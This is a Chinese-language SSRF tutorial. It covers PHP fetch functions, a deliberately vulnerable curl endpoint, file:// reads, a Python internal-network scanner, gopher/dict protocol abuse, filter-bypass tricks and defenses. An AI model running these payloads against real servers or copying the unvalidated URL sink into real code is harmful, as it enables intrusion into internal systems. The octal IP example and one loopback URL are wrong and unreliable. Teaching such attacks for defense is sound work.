SSRF服务器端请求伪造
SSRF介绍及原理
1.概述
SSRF(Server-Side Request Fogery),服务器端请求伪造。是一种由攻击者构造请求,由服务器端发送请求的漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统。
2.原理
其形成的原因大都是由于服务器提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格的过滤和限制。
简单来说就是攻击者利用服务器漏洞以服务器的身份发送一条构造好的恶意请求给服务器所在内网进行攻击。
找了一个大师傅画的图,方便理解
测试环境搭建
php中可以通过以下三种方式远程获取目标服务器的资源
1.file_get_contents();
发送get请求,读取响应内容并输出
$resp = file_get_contents("http://www.baidu.com");
echo $resp;
2.fsockopen();
基于传输层
<?php
// 建立一个到http://www.xxx.com:80的连接,超时时间30s
$fp = fsockopen('http://www.xxx.com/', 80, $errno, $errstr, 30);
// 拼接http请求头
$out = "GET / HTTP/1.1\r\n";
$out .= "Host:www.xxx.com\r\n";
$out .= "Connection:Close\r\n\r\n";
// 将请求写入$fp发送
fwrite($fp, $out);
// 按行读取响应内容
while (!feof($fp)) {
echo fgets($fp, 1024);
}
fclose($fp);
?>
3.curl_exec();
GET
$ch = curl_init();
// URL地址及相关配置选项
curl_setopt($ch, CURLOPT_URL, "http://www.baidu.com");
curl_setopt($ch, CURLOPT_HEADER, 0);
// 抓取URL传递给服务器
curl_exec($ch);
// 释放
curl_close($ch);
POST
$url = "http://192.168.30.103/work/login.php";
$data = 'username=zerok&password=123456';
$ch = curl_init();
// 指定参数
$params[CURLOPT_URL] = $url;
$params[CURLOPT_RETURNTRANSFER] = true; // 是否将结果返回
$params[CURLOPT_FOLLOWLOCATION] = true; // 是否重定向
$params[CURLOPT_TIMEOUT] = 30; // 超时时间(s)
$params[CURLOPT_POSTFIELDS] = $data; // 指定POST参数值
// 传入curl参数
curl_setopt_array($ch, $params);
// 执行
$res = curl_exec($ch);
echo $res;
curl_close($ch);
漏洞利用
准备以下代码
$url = $_GET['url'];
$ch = curl_init();
// URL地址及相关配置选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
// 抓取URL传递给服务器
curl_exec($ch);
// 释放
curl_close($ch);
1.读取文件
通过file://协议可以fuzz、读取服务器上的文件
http://192.168.30.1/temp/ssrf.php?url=file://[path]
2.内网扫描
根据回显,扫描存活的IP、端口
http://192.168.30.1/temp/ssrf.php?url=192.168.30.[1~254]:[port] # [url]和[port]为爆破点
可以使用python或者Burpsuite对ip、端口进行扫描
demo,没有优化,只是实现基本的扫描思路
import requests, datetime
def ssrfForce(url):
# 响应头
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48",
"Cookie": ""
}
# 处理url地址,提取ip和端口号
url_ = url.split('=')[0]
ip = url.split('=')[1]
if ip[0:3] >= '192':
# C类网段,替换最后一组
rep_index = ip.find(ip.split('.')[-1])
ip_rep = ip[0:rep_index]
# 遍历ip
for ip_ in range(1,255):
try:
uurl = f"{url_}={ip_rep}{ip_}"
resp = requests.get(uurl, timeout=1, headers=headers)
# 根据响应状态判断
if resp.status_code == 200:
print( f"---------{datetime.datetime.now()}---------")
print(f'{uurl} maybe online')
except requests.exceptions.ReadTimeout:
pass
print("End of scan.")
if __name__ == '__main__':
ssrfForce('http://localhost/temp/ssrf.php?url=http://192.168.30.111')
内网网段
10.0.0.0–10.255.255.255
172.16.0.0–172.31.255.255
192.168.0.0–192.168.255.255
3.获取指纹
根据扫描的内网ip和端口,进而获取服务器指纹信息
SSRF漏洞发现
1.url中的参数名
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imgaeURL
domain
2.常见功能和场景
分享功能
在线翻译
转码服务
图片加载和下载
图片、文章收藏功能
未公开的api实现及其他调用URL的功能
SSRF漏洞的判断
1.完全回显
通过响应判断是否存在漏洞
2.半回显
通过响应的状态码等判断
3.无回显
-
DNSlog:需要有一个可以配置的域名,例如ceye.io
-
公网服务器,查看日志
SSRF利用协议
1.gopher://
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
2.dict://
允许客户端在使用过程中访问更多字典
http://localhost/temp/ssrf.php?url=dict://192.168.30.103:80
3.file://
读取文件
4.http://
url跳转
SSRF绕过姿势
1.@符号绕过
例如http://www.baidu.com@10.10.10.10等同于http://10.10.10.10
2.点分割符号替换
例如
http://www. baidu. com
http://www。baidu。com
3.本地回环地址
http://127.0.0.1/
http://localhost/
http://[::1]/
http:/127.1/
http://0:80
http://127.0.0.1 - 127.255.255.254
4.ip进制转换
例如 http://192.168.30.1
-
八进制:http://300.247.036.001
-
十六进制:http://0xc0.0xa8.0x1e.0x01
5.短网址
访问短网址会重定向302
SSRF防御
1.只允许HTTP、HTTPS协议,或禁用高危协议
2.设置URL地址和IP白名单
3.统一错误信息,避免用户根据错误信息判断服务器状态信息等
4.禁止302跳转,或者每跳转一次都进行校验目的地址是否为内网地址或合法地址。
5.限制请求端口为http常用的端口